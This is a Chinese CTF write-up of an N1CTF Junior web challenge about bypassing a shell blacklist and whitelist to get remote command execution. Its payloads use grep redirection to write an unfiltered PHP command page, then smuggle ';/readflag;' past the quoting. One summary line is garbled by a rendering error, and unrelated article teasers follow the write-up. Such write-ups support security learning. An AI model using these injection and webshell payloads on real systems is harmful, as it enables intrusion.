第二届 N1CTF Junior WEB方向 部分题解WP

zako

题目描述:很简单的rce哦

启动环境,源码直接给了。

image-20240204152839004

execute.sh

#!/bin/bashreject(){echo ${1}exit 1
}XXXCMD=$1awk -v str="${XXXCMD}" \
'BEGIN{deny="`;&$(){}[]!@#$%^&*-";for(i = 1; i <= length(str); i++){char = substr(str, i, 1);for(x = 1; x < length(deny)+1; x++){r = substr(deny, x, 1);if(char == r) exit 1;}}
}'[ $? -ne 0 ] && reject "NOT ALLOW 1"eval_cmd=`echo "${XXXCMD}" | awk -F "|" \
'BEGIN{allows[1] = "ls";allows[2] = "makabaka";allows[3] = "whoareu";allows[4] = "cut~no";allows[5] = "grep";allows[6] = "wc";allows[7] = "鏉傞奔鉂鏉傞奔鉂";allows[8] = "netstat.jpg";allows[9] = "awsl";allows[10] = "dmesg";allows[11] = "xswl";
}{num=1;for(i=1; i<=NF; i++){for(x=1; x<=length(allows); x++){cmpstr = substr($i, 1, length(allows[x]));if(cmpstr == allows[x])eval_cmd[num++] = $i;}}
}END{for(i=1; i<=length(eval_cmd); i++) {if(i!=1)printf "| %s", eval_cmd[i];elseprintf "%s", eval_cmd[i];}
}'`[ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2"eval ${eval_cmd}

逐行解释:

  1. #!/bin/bash:这行指定了脚本执行时使用的解释器,即 Bash。
  2. 定义了一个名为 reject 的函数,它接受一个参数并将其打印出来,然后通过 exit 1 终止脚本执行,返回状态 1 表示出现了错误。
  3. XXXCMD=$1:这行将脚本的第一个参数赋值给变量 XXXCMD,这个参数预期是用户想要执行的命令。
  4. 使用 awk 工具和 -v 选项来检查 XXXCMD 变量中是否包含任何不允许的字符。这些字符包括了大多数会对 Shell 脚本产生特殊意义的符号,如反引号、分号、管道符、括号等。如果发现这些字符中的任何一个,awk 会通过 exit 1 退出并返回状态 1。
  5. [ $? -ne 0 ] && reject "NOT ALLOW 1":这行检查上一个命令(awk)的退出状态。如果 awk 发现了不允许的字符并退出,其返回状态不会是 0,这会触发 reject 函数的调用,打印 “NOT ALLOW 1” 并终止脚本。
  6. 接下来的 awk 命令通过 -F "|" 设置字段分隔符为管道符号,然后检查 XXXCMD 是否只包含被明确允许的命令。这些允许的命令被列在 allows 数组中。awk 脚本将检查 XXXCMD 中的每个命令是否完全匹配这些允许的命令之一。
  7. [ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2":这行检查是否有命令被输入。如果 XXXCMD 是空的,即没有命令被输入,它会调用 reject 函数打印 “NOT ALLOW 2” 并终止脚本。
  8. 最后,脚本使用 eval 命令执行经过过滤的命令。eval_cmd 变量包含了通过前面的过滤过程允许执行的命令。使用 eval 可以执行字符串中的命令,这里的字符串是通过前面的 awk 命令处理得到的。

总结一下,这个脚本有黑名单``;&KaTeX parse error: Expected 'EOF', got '#' at position 9: (){}[]!@#̲%^&*-和白名单。传入的命令是(或者说包含字符串)lsgrepwcdmesg`。则可以把传入的字符串当作命令执行。


疑点如下:

1、猜测外部也有过滤(之后尝试确实如此

image-20240204152905838

2、长度限制(做完发现是障眼法

image-20240204153239037

先看看文件结构:
image-20240204153328293

image-20240204153344149

解决疑点1,我们先获取index.php的真实内容。

/?.[secret.xswl.io=grep "" ?ndex.php

image-20240204153451193

分析:

1、根目录有readflag文件(可执行文件),之后肯定是运行readflag来获取flag,而不是直接读取flag文件(无权限)

2、过滤(黑名单)两处,一处外部在index.php,一处内部在execute.sh

3、同时execute.sh内还有命令执行白名单。相比之下,暂且先认为我们最后的readflag不可在execute.sh文件内执行。所以我们要尝试闭合单引号,在execute.sh文件外部执行命令。

4、我们应该花更多心思去尝试如何直接在php文件里面执行命令,同时突破命令分隔符限制,分隔命令执行radflag。

5、在闭合单引号前,我们可用的命令只有lsgrepwcdmesg。这里注意grep,这个命令返回的是字符串。

看着初始的源码

image-20240204154253323

要是没有waf过滤就好了。梦中源码:

<?php
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));$cmd = $_REQUEST["__secret.xswl.io"];system("./execute.sh '".$cmd."'");?>

梦想成真只需grep命令执行结果重定向写入文件!

payload:

?.[secret.xswl.io=grep "<?php" ?ndex.php >> 1.php
?.[secret.xswl.io=grep "highlight" ?ndex.php >> 1.php
?.[secret.xswl.io=grep "REQUEST" ?ndex.php >> 1.php
?.[secret.xswl.io=grep "system" ?ndex.php >> 1.php

image-20240204154957324

最后执行命令读取flag:

/1.php?.[secret.xswl.io=ls';/readflag;'

image-20240204155031945

一道有趣且非常灵活的题目。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/452913.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【ROS机器人系统】实验1 熟悉ROS操作系统、熟悉ROS通信架构

文章目录 实验1 熟悉ROS操作系统、熟悉ROS通信架构1、实验目的2、实验设备3、实验内容3.1 安装ROS3.2 ROS常用指令以及小海龟示例roscore命令rosrun命令rosnode 命令roscd 命令rostopic 命令 动手实现1&#xff1a;rosservice 命令roslaunch 命令 动手实现2&#xff1a;动手实现…

初始数据库

华子目录 什么是数据库DBMS&#xff08;数据库管理系统&#xff09;数据库系统和文件系统的区别文件系统数据库系统对比区别优缺点总结 常见数据库关系型数据库ACID原则关系型数据库的优缺点优点缺点 非关系型数据库存储方式常见的非关系型数据库非关系型数据库的优缺点优点缺点…

爱上算法:每日算法(24-2月4号)

&#x1f31f;坚持每日刷算法&#xff0c;&#x1f603;将其变为习惯&#x1f91b;让我们一起坚持吧&#x1f4aa; 文章目录 [232. 用栈实现队列](https://leetcode.cn/problems/implement-queue-using-stacks/)思路CodeJavaC 复杂度 [225. 用队列实现栈](https://leetcode.cn/…

双非本科准备秋招(16.1)—— 力扣二叉树

1、101. 对称二叉树 检查是否对称&#xff0c;其实就是检查左节点等不等于右节点&#xff0c;我们可以用递归来做。 如果左右节点都为null&#xff0c;说明肯定对称呀&#xff0c;返回true。 如果一个为null一个不为null&#xff0c;或者左右的值不相等&#xff0c;则为false。…

Node.js 包管理工具

一、概念介绍 1.1 包是什么 『包』英文单词是 package &#xff0c;代表了一组特定功能的源码集合 1.2 包管理工具 管理『包』的应用软件&#xff0c;可以对「包」进行 下载安装 &#xff0c; 更新 &#xff0c; 删除 &#xff0c; 上传 等操作。 借助包管理工具&#xff0…

ACM训练题:Fadi and LCM

首先LCM&#xff08;a&#xff0c;b&#xff09;X&#xff0c;说明a*b>X&#xff0c;当且仅当a&#xff0c;b互质时相等&#xff0c;题意要让a&#xff0c;b都尽可能小&#xff0c;最好让a*bX&#xff0c;即a&#xff0c;b互质。原因如下&#xff1a; 最小公倍数由a、b中最…

flutter go_router 官方路由(一)基本使用

1 项目中添加最新的依赖 go_router: ^13.1.0如下图所示&#xff0c;我当前使用的flutter版本为3.16.0 然后修改应用的入口函数如下&#xff1a; import package:flutter/material.dart; import package:go_router/go_router.dart;void main() {runApp(const MyApp()); }cla…

使用java -jar命令运行jar包提示“错误:找不到或无法加载主类“的问题分析

用maven把普通java项目打包成可运行的jar后&#xff0c;打开cmd用java -jar运行此jar包时报错&#xff1a; 用idea运行该项目则没有问题 。 其实原因很简单&#xff0c;我们忽略了2个细节。 java指令默认在寻找class文件的地址是通过CLASSPATH环境变量中指定的目录中寻找的。我…

vue前端+nodejs后端通信-简单demo

本文记录vue前端nodejs后端通讯最简单的方法&#xff0c;供广大网友最快速进入全栈开发。 技术架构 前端 vue axios 后端 nodejs express 一、前端部分-搭建VUE 项目 vue create Vnodenpm run serve 启动&#xff1b; 具体操作步骤&#xff0c;请自行百度&#xff0c;这里没…

【RT-DETR有效改进】利用SENetV1重构化网络结构 (ILSVRC冠军得主)

👑欢迎大家订阅本专栏,一起学习RT-DETR👑 一、本文介绍 本文给大家带来的改进机制是SENet(Squeeze-and-Excitation Networks)其是一种通过调整卷积网络中的通道关系来提升性能的网络结构。SENet并不是一个独立的网络模型,而是一个可以和现有的任何一个模型相结合…

PMP资料怎么学?PMP备考经验分享

PMP考试前大家大多都是提前备考个一两个月&#xff0c;但是有些朋友喜欢“不走寻常路”&#xff0c;并不打算去考PMP认证&#xff0c;想要单纯了解PMP&#xff0c;不管要不要考证&#xff0c;即使是仅仅学习了解一下我个人都非常支持&#xff0c;因为专业的基础的确能提高工作效…

windows10 利用DDNS-GO解析IPV6 IPV4 阿里云 腾讯云 华为云

这里写目录标题 [工具包DDNS-GO Windows 版](https://github.com/jeessy2/ddns-go/releases)创建ddns-go windows服务打开浏览器 输入127.0.0.1:9876 就可以使用ddns-go解析ipv4 或者 IPV6 了创建的服务已经在windows的服务管理里面自动启动了 工具包DDNS-GO Windows 版 创建dd…